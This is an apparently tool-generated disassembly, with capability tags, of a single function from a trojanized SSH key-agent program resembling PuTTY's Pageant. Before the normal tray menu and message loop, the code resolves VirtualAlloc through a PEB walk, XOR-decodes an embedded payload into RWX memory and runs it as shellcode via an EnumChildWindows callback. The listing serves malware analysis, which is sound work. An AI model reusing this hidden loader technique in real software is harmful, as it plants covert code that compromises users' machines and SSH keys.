Function at 0x41d380
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get number of processors
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x31d0
call fcn.0041fe40
mov eax, dword [0x479600]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x3170], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x3174], eax
mov dword [ebp - 0x3180], 0
call fcn.0041c470
push 0x2966
lea eax, [ebp - 0x316c]
push str.BBBBj
push eax
call fcn.00420d30
mov bl, byte [ebp - 0x316c]
add esp, 0xc
xor bl, 0x90
mov dword [ebp - 0x3178], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
nop
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x3178], eax
push str.VirtualAlloc
push dword [ebp - 0x3178]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
nop
nop
push 4
push 0x1000
push 0x25a5
push 0
call eax
mov edi, eax
lea eax, [ebp - 0x31b4]
push eax
push 0x40
push 0x2965
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esi, [ebp - 0x316c]
mov ecx, edi
sub esi, edi
mov edx, 0x2965
nop dword [eax]
nop
nop
nop
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x41d450
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x3170]
push 0
push edi
push 0
mov dword [0x47b4c8], ecx
mov dword [0x47b4d0], 0
call eax
call fcn.0041c980
test eax, eax
je 0x41dad8
xor eax, eax
cmp dword [0x47b4f0], 2
sete al
mov dword [0x47a1b8], eax
test eax, eax
je 0x41d4ee
call fcn.0041ef00
test eax, eax
jne 0x41d4ee
push 0x10
push str.asdfghj_Fatal_Error
push str.Unable_to_access_security_APIs._asdfghj_will_nnot_run__in_case_it_causes_a_security_breach.
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fb1e
mov esp, ebp
pop ebp
ret 0x10
call fcn.0041c100
push 0x7f0
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x804]
mov eax, esi
push 0x5c
push eax
call fcn.00421d30
add esp, 8
test eax, eax
je 0x41d527
mov ecx, esi
cmp eax, ecx
jb 0x41d527
lea esi, [eax + 1]
lea eax, [ebp - 0x804]
push 0x3a
push eax
call fcn.00421d30
add esp, 8
test eax, eax
je 0x41d543
cmp eax, esi
jb 0x41d543
lea esi, [eax + 1]
movq xmm0, qword [str.qwert.exe]
movq qword [esi], xmm0
mov ax, word [0x46e89c]
mov word [esi + 8], ax
lea eax, [ebp - 0x804]
push 0x46ab24
push eax
call fcn.004413e9
mov esi, eax
add esp, 8
test esi, esi
je 0x41d58f
lea eax, [ebp - 0x804]
push eax
call fcn.00402250
push esi
mov dword [0x47a1ac], eax
call fcn.00440f38
add esp, 8
jmp 0x41d599
mov dword [0x47a1ac], 0
call fcn.0041eab0
mov dword [0x47a1a8], eax
test eax, eax
jne 0x41d5ac
call fcn.00405680
lea eax, [ebp - 0x3188]
push eax
lea eax, [ebp - 0x3184]
push eax
lea eax, [ebp - 0x317c]
push eax
push dword [ebp - 0x3174]
call fcn.0041f640
mov ebx, dword [ebp - 0x317c]
add esp, 0x10
xor edi, edi
test ebx, ebx
jle 0x41d734
nop
mov eax, dword [ebp - 0x3184]
lea ecx, [edi*4]
mov dword [ebp - 0x3174], ecx
mov esi, dword [ecx + eax]
mov ecx, str._pgpfp
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d620
test dl, dl
je 0x41d61c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d620
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d600
xor eax, eax
jmp 0x41d625
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d7fb
mov ecx, 0x46e8a8
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d654
test dl, dl
je 0x41d650
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d654
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d634
xor eax, eax
jmp 0x41d659
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d720
mov ecx, str._restrict_acl
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d688
test dl, dl
je 0x41d684
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d688
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d668
xor eax, eax
jmp 0x41d68d
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d720
mov ecx, str._restrictacl
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d6c0
test dl, dl
je 0x41d6bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d6c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d6a0
xor eax, eax
jmp 0x41d6c5
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d720
mov ecx, 0x46e8d8
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d6f0
test dl, dl
je 0x41d6ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d6f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d6d0
xor eax, eax
jmp 0x41d6f5
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d7d5
push esi
call fcn.0041c5f0
mov esi, eax
push esi
call fcn.0041e950
push esi
call fcn.0041c5d0
add esp, 0xc
mov dword [ebp - 0x3180], 1
jmp 0x41d725
call fcn.0041f380
mov ebx, dword [ebp - 0x317c]
inc edi
cmp edi, ebx
jl 0x41d5e0
xor ebx, ebx
mov esi, ebx
call fcn.004043f0
test ebx, ebx
je 0x41d798
mov cl, byte [ebx]
inc ebx
cmp cl, 0x22
cmovne ebx, esi
xor eax, eax
cmp cl, 0x22
sete al
lea eax, [eax*2 + 0x20]
push eax
push ebx
call fcn.004212b0
mov esi, eax
add esp, 8
test esi, esi
je 0x41d78b
mov byte [esi], 0
inc esi
mov al, byte [esi]
test al, al
je 0x41d78b
movsx eax, al
push eax
call fcn.00440250
add esp, 4
test eax, eax
je 0x41d78b
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x41d773
push dword [ebp + 0x14]
push esi
push ebx
call fcn.0041e670
add esp, 0xc
cmp dword [0x47a1a8], 0
je 0x41d805
test ebx, ebx
jne 0x41d7c0
cmp dword [ebp - 0x3180], ebx
jne 0x41d7c0
push 0x10
push str.asdfghj_Error
push str.asdfghj_is_already_running
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fb1e
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebx - 1]
cmp edi, eax
jge 0x41d7f1
mov eax, dword [ebp - 0x3188]
mov ebx, dword [ebp - 0x3174]
mov ebx, dword [ebx + eax + 4]
jmp 0x41d736
mov ebx, 0x466300
jmp 0x41d736
call fcn.0041f560
jmp 0x41d4d6
cmp dword [ebp + 0xc], 0
jne 0x41d897
mov eax, dword [ebp - 0x3170]
push 0xc8
push eax
mov dword [ebp - 0x31b0], 0
mov dword [ebp - 0x31ac], 0x41daf0
mov dword [ebp - 0x31a8], 0
mov dword [ebp - 0x31a4], 0
mov dword [ebp - 0x31a0], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f01
push 0
mov dword [ebp - 0x319c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 4
mov dword [ebp - 0x3198], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x3194], eax
lea eax, [ebp - 0x31b0]
push eax
mov dword [ebp - 0x3190], 0
mov dword [ebp - 0x318c], 0x46bcc4
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push dword [ebp - 0x3170]
mov dword [0x47a198], 0
push 0
push 0
push 0x64
push 0x64
push 0x80000000
push 0x80000000
push 0xef0000
push 0x46bcc4
push 0x46bcc4
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push eax
mov dword [0x47b4d0], eax
call fcn.0041cd20
add esp, 4
call dword [sym.imp.USER32.dll_CreatePopupMenu]
cmp dword [0x47a1ac], 0
mov esi, dword [sym.imp.USER32.dll_AppendMenuA]
mov dword [0x47a1a0], eax
je 0x41d941
call dword [sym.imp.USER32.dll_CreateMenu]
push str.New_Session
push 0x60
push 0
push dword [0x47a1a0]
mov dword [0x47a1a4], eax
call esi
push str.Saved_Sessions
push dword [0x47a1a4]
push 0x10
push dword [0x47a1a0]
call esi
push 0
push 0
push 0x800
push dword [0x47a1a0]
call esi
mov eax, dword [0x47a1a0]
push str.View_Keys
push 0x20
push 0
push eax
call esi
push str.Add_Key
push 0x30
push 0
push dword [0x47a1a0]
call esi
push 0
push 0
push 0x800
push dword [0x47a1a0]
call esi
call fcn.0041c0e0
test eax, eax
je 0x41d989
push str.Help
push 0x40
push 0
push dword [0x47a1a0]
call esi
push str.About
push 0x50
push 0
push dword [0x47a1a0]
call esi
push 0
push 0
push 0x800
push dword [0x47a1a0]
call esi
push str.Exit
push 0x10
push 0
push dword [0x47a1a0]
call esi
push dword [0x47a1a4]
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0
push 0x20
push dword [0x47a1a0]
mov dword [0x47a1b4], eax
call dword [sym.imp.USER32.dll_SetMenuDefaultItem]
push 0
push dword [0x47b4d0]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x31d0]
push 0
push 0
push 0
push eax
call ebx
cmp eax, 1
jne 0x41da81
mov esi, dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_IsDialogMessageA]
push dword [0x47a198]
call esi
test eax, eax
je 0x41da34
lea eax, [ebp - 0x31d0]
push eax
push dword [0x47a198]
call edi
test eax, eax
jne 0x41da6d
push dword [0x47a19c]
call esi
test eax, eax
je 0x41da53
lea eax, [ebp - 0x31d0]
push eax
push dword [0x47a19c]
call edi
test eax, eax
jne 0x41da6d
lea eax, [ebp - 0x31d0]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x31d0]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x31d0]
push eax
call ebx
cmp eax, 1
je 0x41da15
mov eax, dword [0x47b4d0]
mov dword [ebp - 0xa00], eax
lea eax, [ebp - 0xa04]
push eax
push 2
mov dword [ebp - 0xa04], 0x1fc
mov dword [ebp - 0x9fc], 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push dword [0x47a1a0]
call dword [sym.imp.USER32.dll_DestroyMenu]
mov eax, dword [0x47a1b0]
test eax, eax
je 0x41dacd
push eax
call fcn.0041f410
add esp, 4
push dword [ebp - 0x31c8]
call fcn.0041e1a0
push str.Windows_refuses_to_report_a_version
call fcn.0041e4c0
int3